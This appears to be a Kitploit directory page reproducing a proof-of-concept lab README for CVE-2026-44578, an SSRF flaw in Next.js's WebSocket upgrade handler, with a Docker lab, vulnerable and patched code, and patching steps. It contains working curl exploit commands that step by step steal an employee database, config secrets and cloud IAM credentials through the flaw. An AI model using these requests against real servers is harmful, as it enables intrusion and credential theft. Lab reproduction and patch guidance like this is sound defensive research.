Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

フィードお問い合わせプライバシー© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-44578 — CVE-2026-44578 の Proof-of-concept エクスプロイトです。脆弱な状態を再現し、セキュリティ研究者が影響を受けるシステムを検証して緩和策を評価できるようにします。 | Kitploit
ツール/GitHubGitHub/lxxexxbxx/cve-2026-44578
脆弱性分析エクスプロイト敵対的攻撃
GitHublxxexxbxx/cve-2026-44578

CVE-2026-44578

CVE-2026-44578 の Proof-of-concept エクスプロイトです。脆弱な状態を再現し、セキュリティ研究者が影響を受けるシステムを検証して緩和策を評価できるようにします。

リポジトリを見る
1332ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-44578 — Next.js WebSocketアップグレードハンドラSSRFラボ

시큐리티 아카데미 CERT 프로젝트 멘토 데모용 취약점 재현 실습 환경


概要

項目内容
CVECVE-2026-44578
GHSAGHSA-c4j6-fc7j-m34r
CVSS8.6 (High)
CWECWE-918 (Server-Side Request Forgery)
影響バージョンNext.js 13.4.13 – 15.5.15, 16.0.0 – 16.2.4
パッチバージョン15.5.16+, 16.2.5+
認証要否不要 (Unauthenticated)

Next.jsのWebSocketアップグレードハンドラ(upgradeHandler)が、HTTPリクエストラインに挿入された
absolute-form URI(RFC 7230 §5.3.2)を検証せずに内部サービスへプロキシする脆弱性。
外部からアクセス不可能な内部サービスに任意のHTTPリクエストを送信できる(SSRF)。


ラボアーキテクチャ

[공격자]
    │
    │  WebSocket Upgrade 요청
    │  GET http://internal-svc/api/v1/employees HTTP/1.1
    │  Connection: Upgrade  /  Upgrade: websocket
    ▼
[nextjs-vuln :3000]  ← 외부 노출
    │
    │  무검증 프록시 (proxyRequest)
    ▼
[internal-svc :80]   ← 내부망 전용, 외부 직접 접근 불가
    │
    ├── GET /api/v1/employees   → 사원 DB (이름·이메일·연봉·pw_hash)
    ├── GET /api/v1/config      → DB 패스워드·JWT 시크릿·Redis 패스워드
    └── GET /latest/meta-data/… → AWS IMDS 시뮬레이션 (IAM 크리덴셜)

docker-compose ├── nextjs-vuln (Next.js 15.5.0、脆弱バージョン) └── internal-svc (FastAPI + SQLite、内部ネットワーク専用)


環境設定と実行

前提条件

  • Docker 24+
  • Docker Compose v2

実行

git clone https://github.com/<your-org>/CVE-2026-44578.git
cd CVE-2026-44578
docker compose up --build

ビルド完了後、Next.jsが準備できるまで30~60秒かかります。
準備確認:

curl -s http://localhost:3000/api/hello | grep ok

脆弱性の再現 (PoC)

攻撃フロー

通常のHTTPリクエストは GET /path HTTP/1.1 の形式でパスのみを含むが、
RFC 7230 §5.3.2はリクエストラインに完全なURLを入れる absolute-form を許可している。

GET http://internal-svc/api/v1/employees HTTP/1.1 ← 絶対形式URI Host: localhost:3000 Connection: Upgrade Upgrade: websocket

Next.js の upgradeHandler はこのURLをパースし、parsedUrl.protocol が存在すれば
宛先の検証なしに proxyRequest() を呼び出す。
curl --request-target オプションでリクエストラインを直接指定できる。

STEP 1 — 内部サービスへの直接アクセスが不可能であることを確認

curl -s --connect-timeout 3 http://internal-svc/health
# → 연결 실패 (외부에서 내부망 직접 도달 불가)

STEP 2 — SSRFによる内部サービスヘルスチェック

curl -s --http1.1 \
  --request-target "http://internal-svc/health" \
  -H "Connection: Upgrade" \
  -H "Upgrade: websocket" \
  -H "Sec-WebSocket-Version: 13" \
  -H "Sec-WebSocket-Key: AAAAAAAAAAAAAAAAAAAAAA==" \
  http://localhost:3000

STEP 3 — 従業員DB窃取

curl -s --http1.1 \
  --request-target "http://internal-svc/api/v1/employees" \
  -H "Connection: Upgrade" \
  -H "Upgrade: websocket" \
  -H "Sec-WebSocket-Version: 13" \
  -H "Sec-WebSocket-Key: AAAAAAAAAAAAAAAAAAAAAA==" \
  http://localhost:3000

→ 名前・メール・年収・bcryptハッシュを全件返却

STEP 4 — アプリ設定の窃取(DBパスワード・JWTシークレット)

curl -s --http1.1 \
  --request-target "http://internal-svc/api/v1/config" \
  -H "Connection: Upgrade" \
  -H "Upgrade: websocket" \
  -H "Sec-WebSocket-Version: 13" \
  -H "Sec-WebSocket-Key: AAAAAAAAAAAAAAAAAAAAAA==" \
  http://localhost:3000

STEP 5 — AWS IMDS 認証情報の窃取 (第2段階)

# 5-1: IAM 롤 이름 열거
curl -s --http1.1 \
  --request-target "http://internal-svc/latest/meta-data/iam/security-credentials/" \
  -H "Connection: Upgrade" -H "Upgrade: websocket" \
  -H "Sec-WebSocket-Version: 13" \
  -H "Sec-WebSocket-Key: AAAAAAAAAAAAAAAAAAAAAA==" \
  http://localhost:3000

# 5-2: 크리덴셜 탈취
curl -s --http1.1 \
  --request-target "http://internal-svc/latest/meta-data/iam/security-credentials/ec2-hr-api-role" \
  -H "Connection: Upgrade" -H "Upgrade: websocket" \
  -H "Sec-WebSocket-Version: 13" \
  -H "Sec-WebSocket-Key: AAAAAAAAAAAAAAAAAAAAAA==" \
  http://localhost:3000

内部動作の仕組み

脆弱なコード (router-server.js upgradeHandler)

// Next.js 15.5.0 ~ 15.5.15 — 취약
const { matchedOutput, parsedUrl } = await resolveRoutes({
    req, res: socket, isUpgradeReq: true,
    signal: signalFromNodeResponse(socket)
});
if (matchedOutput) return socket.end();
if (parsedUrl.protocol) {                              // ← 목적지 검증 없음
    return await proxyRequest(req, socket, parsedUrl, head);
}

parsedUrl.protocolが存在するだけで即座にプロキシされる。対象ホストが内部IPであれ
IMDS(169.254.169.254)であれ、無条件に転送される。

公式パッチ(15.5.16+)

// Next.js 15.5.16+ — 패치
const { finished, matchedOutput, parsedUrl, statusCode } = await resolveRoutes({
    req, res: socket, isUpgradeReq: true,
    signal: signalFromNodeResponse(socket)
});
if (matchedOutput) return socket.end();
if (finished && parsedUrl.protocol) {                  // ← finished 가드 추가
    if (!statusCode) {
        return await proxyRequest(req, socket, parsedUrl, head);
    }
    return socket.end();
}

finishedはresolveRoutes内部でリクエストが正常なルートにマッチした場合にのみtrueとなる。
absolute-form URIは正常なルートにマッチしないため、finished === false → プロキシ遮断。

ラボパッチ構造 (patch-for-lab.js)

脆弱性再現環境では、resolve-routes.jsが://を連続スラッシュと誤認識し、
http://host/pathをhttp:/host/pathに縮小する動作がSSRFを偶発的に遮断する。
patch-for-lab.jsはこの動作を無効化し、脆弱性が正常に再現されるようにする。


パッチ方法

方法 1 — npm アップグレード (推奨)

# 15.x 계열
npm install next@">=15.5.16"

# 16.x 계열
npm install next@">=16.2.5"

# 버전 확인
npx next --version

方法 2 — Dockerfile バージョン固定

RUN npm install [email protected] --legacy-peer-deps
# 또는 package.json에서 "next": "15.5.16" 고정 후
RUN npm ci

方法 3 — バージョンアップせずにコードを直接パッチ

このラボに含まれる patch-defense.js で、現在のバージョンに公式パッチロジックを直接適用:

# 랩 컨테이너 내부에서
node patch-defense.js

# 상태 확인만 (파일 수정 없음)
node patch-defense.js --check

パッチ適用後、SSRFリクエストは応答なしでブロックされる。


ファイル構造

CVE-2026-44578/ ├── docker-compose.yml ├── nextjs-app/ │ ├── Dockerfile │ ├── patch-for-lab.js # resolve-routes パッチ(SSRF 再現用) │ ├── patch-defense.js # router-server 防御パッチ(コード修正による防御の証明用) │ └── ... ├── internal-svc/ │ ├── Dockerfile │ ├── server.py # FastAPI 内部サービス(SQLite + IMDS シミュレーション) │ └── requirements.txt └── exploit/ └── demo.sh # 6段階自動デモスクリプト


免責事項

このリポジトリはセキュリティ教育および脆弱性研究の目的でのみ提供される。
実際のサービスに対する無断攻撃に使用することは違法であり、
すべてのテストは本人が所有する環境、または明示的な許可を得た環境でのみ実施しなければならない。

このリポジトリは教育および許可されたセキュリティ研究のみを目的としています。
本番システムに対する無許可の使用は違法です。
すべてのテストは、あなたが所有する環境、または明示的な許可を得た環境でのみ実施してください。


参考

  • Next.js セキュリティアドバイザリ (GHSA-c4j6-fc7j-m34r)
  • RFC 7230 §5.3.2 — absolute-form
  • CWE-918: サーバーサイドリクエストフォージェリ
ツールをダウンロード